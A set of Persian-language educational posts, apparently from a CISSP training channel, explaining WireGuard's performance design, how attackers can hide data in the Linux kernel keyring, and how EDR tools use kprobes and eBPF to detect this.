2. اجرا در کرنل (Kernel Module)

این WireGuard به صورت ماژول کرنلی اجرا میشه، نه یک سرویس User-space سنگین.
پردازش رمزنگاری و مسیریابی بسته‌ها همون‌جا که پکت‌ها از NIC وارد میشوند انجام میشه.
زمان رفت‌و‌برگشت (Round-trip) داده بین User Space و Kernel Space که در OpenVPN دیده میشه، حذف میشود.

3. استفاده از الگوریتم‌های رمزنگاری مدرن و سریع

به جای مجموعه‌ای از الگوریتم‌های Legacy، فقط از تعدادی ثابت و بهینه استفاده می‌کند:
ChaCha20 برای رمزنگاری
Poly1305 برای احراز اصالت پیام
Curve25519 برای تبادل کلید
BLAKE2s برای هش
این الگوریتم‌ها برای اجرا روی CPUهای مدرن (و حتی بدون شتاب‌دهنده AES-NI) بسیار سریع و Cache-friendly هستند.

4. اتصال بدون Session Negotiation پیچیده

این WireGuard فقط نیاز به تبادل کلیده
استاتیک (با مکانیزم مدرن Handshake) دارد.
نیازی به Negotiation چند مرحله‌ای یا Feature-checking طولانی مثل IPsec نیست.
این باعث کاهش زمان Establishment و تجدید کلیدها میشود.

5. مقوله Stateless در بیشتر مسیرها

وقتی Session فعال شد، مسیر انتقال داده تقریبا بدون بررسی‌های سنگین State پیاده‌سازی میشه.
پکت‌ها وقتی وارد تونل میشن مستقیم رمز شده و از مسیر TUN/TAP رد میشوند؛ پردازش اضافی فایروال یا لایه‌های کنترل Session کمتر است .


آموزش CISSPتخصصی
#آکادمی_روزبه

مخفیگاه نامرئی در کرنل: چرا Keyring برای شکارچی‌ها مهم است؟


در هسته لینوکس، زیرسیستمی به‌نام Key Retention Service یا همان keyrings وجود دارد که هدف اصلی آن ذخیره امن کلیدها و داده‌های حساس در حافظه کرنل است. این ساختار، برخلاف فایل‌های معمولی، هرگز روی دیسک نوشته نمی‌شود و همین ویژگی آن را به عرصه‌ای جذاب برای مخفی‌کاری مهاجمان تبدیل می‌کند.
یک تهدیدگر می‌تواند Payload یا تنظیمات backdoor خود را به‌صورت رشته‌های رمزگذاری‌شده در keyring قرار دهد. این داده‌ها از دید ابزارهای مانیتورینگ فایل‌سیستم کاملاً شفاف هستند؛ حتی اگر از Snapshot یا Image کامل سیستم استفاده شود، اثری از آنها در دیسک یافت نمی‌شود. به بیان ساده، SOC شما ممکن است تمام هارد را بررسی کند و همچنان سرنخ اصلی را نبیند.
خطر بیشتر زمانی نمایان می‌شود که بدانیم این داده‌ها با راه‌اندازی مجدد سیستم به‌طور کامل حذف شده و در هیچ‌یک از لاگ‌های معمول /var/log ثبت نمی‌گردند. بنابراین، تنها روش کشف آن‌ها، انجام Live Memory Hunting یا تحلیل فایل Crash Dump است.
برای یک تحلیل‌گر یا شکارچی تهدید، تسلط بر شناسایی و ترکیب این شواهد در حافظه زنده، می‌تواند مرز بین یک نفوذ کشف‌شده و یک نفوذ کاملاً نامرئی را تعیین کند.



#آکادمی_روزبه
مرکز تخصصی CISSP

چگونه EDRها در لینوکس کار می‌کنند: تمرکز بر Kernel Probes و نظارت بر Syscallها

در دنیای امنیت سایبری امروز، ابزارهای Endpoint Detection and Response (EDR) نقش حیاتی در حفاظت از سیستم‌ها ایفا می‌کنند. EDRها سیستم‌هایی پیشرفته هستند که فراتر از آنتی‌ویروس‌های سنتی عمل کرده و بر تشخیص real-time تهدیدات، جمع‌آوری داده‌ها و پاسخ خودکار تمرکز دارند. این ابزارها، مانند CrowdStrike Falcon، Microsoft Defender for Endpoint یا SentinelOne، با نظارت مداوم بر فعالیت‌های endpoint (مانند سرورها و دسکتاپ‌ها) کار می‌کنند تا نشانه‌های نفوذ (Indicators of Compromise یا IOC) را شناسایی کنند. اما چگونه این نظارت عمیق انجام می‌شود؟

یکی از کلیدی‌ترین مکانیسم‌ها، استفاده از kernel probes است که اجازه می‌دهد EDRها مستقیماً به لایه‌های پایین سیستم‌عامل نفوذ کنند.
مقولهKernel probes، مانند kprobes یا eBPF (extended Berkeley Packet Filter) در لینوکس، ابزاری قدرتمند برای تزریق کدهای نظارتی به نقاط خاصی از کرنل هستند. این probes بدون تغییر کد اصلی کرنل، رویدادها را رهگیری می‌کنند.

برای مثال، EDRها می‌توانند probes را روی syscallهایی مانند keyctl_add_key قرار دهند. این syscall بخشی از زیرسیستم keyring در کرنل لینوکس است که برای افزودن کلیدها یا داده‌های حساس به ساختارهای حافظه‌ای volatile استفاده می‌شود. مهاجمان اغلب از keyring برای مخفی‌کردن payloadهای مخرب (مانند backdoorها) بهره می‌برند، زیرا این داده‌ها روی دیسک ذخیره نمی‌شوند و با ریبوت سیستم پاک می‌شوند.
وقتی EDR یک probe روی keyctl_add_key تنظیم می‌کند، هر بار که این syscall فراخوانی شود، EDR می‌تواند پارامترها (مانند نوع کلید، محتوای آن و فرآیند فراخواننده) را ضبط کند. این داده‌ها به سرور مرکزی EDR ارسال شده و با الگوریتم‌های یادگیری ماشین یا قوانین رفتاری تحلیل می‌شوند. مثلاً اگر یک فرآیند مشکوک (مانند یک shell script مخرب) سعی کند داده‌ای رمزنگاری‌شده را به keyring اضافه کند، EDR می‌تواند آن را به‌عنوان فعالیت غیرعادی تشخیص دهد و هشدار دهد یا حتی فرآیند را قرنطینه کند. این رویکرد مشابه “rootkitهای قانونی” است، زیرا EDRها با hooking syscallها و نظارت بر حافظه کرنل، عملاً رفتار مهاجمان را تقلید می‌کنند اما برای اهداف دفاعی.


علاوه بر probes، EDRها از تکنیک‌های دیگری مانند user-space hooking، log aggregation و behavioral analytics استفاده می‌کنند. برای نمونه، در سناریوی حمله به keyring، EDR می‌تواند با ترکیب داده‌های syscall با لاگ‌های شبکه یا فایل‌ها، یک زنجیره حمله کامل را بازسازی کند. این قابلیت‌ها EDRها را برای محیط‌های پیچیده مانند سرورهای ابری یا سیستم‌های IoT ایده‌آل می‌سازد.
با این حال، چالش‌هایی وجود دارد: تنظیم نادرست probes می‌تواند عملکرد سیستم را کاهش دهد یا حتی با به‌روزرسانی‌های کرنل تداخل ایجاد کند. علاوه بر این، مهاجمان پیشرفته ممکن است تکنیک‌هایی برای دورزدن probes (مانند استفاده از syscallهای جایگزین) به‌کار گیرند. در نهایت، EDRها مرز بین تشخیص و پاسخ را کم‌رنگ کرده و شکارچی‌های تهدید را توانمند می‌سازند تا نفوذهای نامرئی را کشف کنند. با پیشرفت فناوری‌هایی مانند eBPF، آینده EDRها روشن‌تر از همیشه است.



#آکادمی_روزبه

اینو به یکی گفتن که EDR بای پس کرده

تبریک بابت اینکه یک‌بار با تکنیک تازه‌ات تونستی از EDR عبور کنی. اما واقعیت اینه که سیستم رو دور نزدی؛ فقط باعث شدی پروفایل (شناخت) سیستم ازت بالاتر بره.

حالا فعالیت‌هات مثل انگشت زخمی وسط بقیه دست‌ها معلومه. داده‌های تله‌متری داره جمع میشه، ارتباط‌ها و الگوها در حال شکل‌گیریه، و هر حرکت بعدی فقط پرونده‌ت رو قوی‌تر می‌کنه. EDR کور نیست، فقط تو پرچم‌ها (هشدارها) رو نمی‌بینی